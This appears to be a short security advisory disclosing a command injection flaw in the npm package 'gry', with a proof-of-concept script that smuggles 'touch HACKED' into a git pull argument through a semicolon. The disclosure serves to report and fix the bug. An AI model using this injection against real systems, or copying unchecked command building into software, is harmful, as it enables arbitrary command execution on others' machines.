Overview

The issue occurs because a user input is formatted inside a command that will be executed without any check.

Proof of Concept (Credit: Mik317)

1. Create the following PoC file:

// poc.js
const Repo = require("gry");
var myRepo = new Repo(".");
myRepo.pull("test; touch HACKED; #", function () {
  console.log("Finished!");
});

2. Check there aren't files called HACKED
3. Execute the following commands in another terminal:

npm i gry # Install affected module
node poc.js #  Run the PoC

4. Recheck the files: now HACKED has been created

References:

• GitHub Issue
• GitHub Permalink #1